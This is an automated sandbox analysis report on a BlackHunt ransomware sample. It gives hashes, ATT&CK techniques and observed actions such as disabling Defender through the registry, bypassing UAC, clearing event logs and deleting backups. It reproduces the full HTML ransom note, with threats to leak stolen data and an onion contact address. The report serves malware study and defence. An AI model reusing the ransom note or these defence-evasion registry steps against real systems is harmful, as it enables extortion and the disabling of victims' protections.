blackhunt | ad9bcd0ce64903642e5e505145c2c1edbf0849493b105c62e8bd3b636bd0374c

Analysis

max time kernel
150s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20251223-en
resource tags

arch:x64arch:x86image:win11-20251223-enlocale:en-usos:windows11-21h2-x64system
submitted
17/12/2025, 10:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Size 707KB
Sample251217-mln9ssdn2t
SHA256 ad9bcd0ce64903642e5e505145c2c1edbf0849493b105c62e8bd3b636bd0374c
MD5 728366bfceae22c97409382e32c0ce8a
SHA1 967de344400acbb947c472c26bdc500c378ac2f9
SHA512 7aea2a21e035faf73d62680d2e1f50fc606237060328e5825373f6ec944d048689f0fddf9b17c00c7aa6d1065d45fd4f0dec45060f59d6354bca4ed668a2eb63
SSDEEP 6144:PcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1LOFvDh:DuaTmkZJ+naie5OTamgEoKxLWQth
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery evasion execution blackhunt impact persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> W4VRuAb0zLDDizd6 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

URLs

http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

BlackHunt Ransomware
BlackHunt is a ransomware.
ransomware blackhunt
Blackhunt family
blackhunt

Deletes NTFS Change Journal 2 TTPs 4 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
5332	fsutil.exe
30220	fsutil.exe
24884	fsutil.exe
21468	fsutil.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Clears Windows event logs 1 TTPs 10 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
8324	wevtutil.exe
13992	wevtutil.exe
14160	wevtutil.exe
21156	wevtutil.exe
10500	wevtutil.exe
11000	wevtutil.exe
17468	wevtutil.exe
31712	wevtutil.exe
29724	wevtutil.exe
10384	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5768	bcdedit.exe
5888	bcdedit.exe
7328	bcdedit.exe
18072	bcdedit.exe
20120	bcdedit.exe
13708	bcdedit.exe
10736	bcdedit.exe
11012	bcdedit.exe

Renames multiple (3304) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 4 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
14224	wbadmin.exe
30188	wbadmin.exe
30752	wbadmin.exe
3356	wbadmin.exe

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	\??\M:\$RECYCLE.BIN\S-1-5-21-3038529890-304741975-475214286-1000\desktop.ini	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened for modification	\??\N:\$RECYCLE.BIN\S-1-5-21-3038529890-304741975-475214286-1000\desktop.ini	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe

Enumerates connected drives 3 TTPs 58 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\A:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\T:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\Z:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\B:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\N:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\V:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\O:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\N:	vssadmin.exe
File opened (read-only)	\??\Q:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\O:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\V:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\M:	vssadmin.exe
File opened (read-only)	\??\S:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\X:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\A:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\J:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\N:	fsutil.exe
File opened (read-only)	\??\R:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\K:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\M:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\Y:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\M:	vssadmin.exe
File opened (read-only)	\??\Z:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\B:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\W:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\T:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\S:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\U:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\R:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\U:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\H:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\N:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\L:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\N:	fsutil.exe
File opened (read-only)	\??\E:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
File opened (read-only)	\??\P:	2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
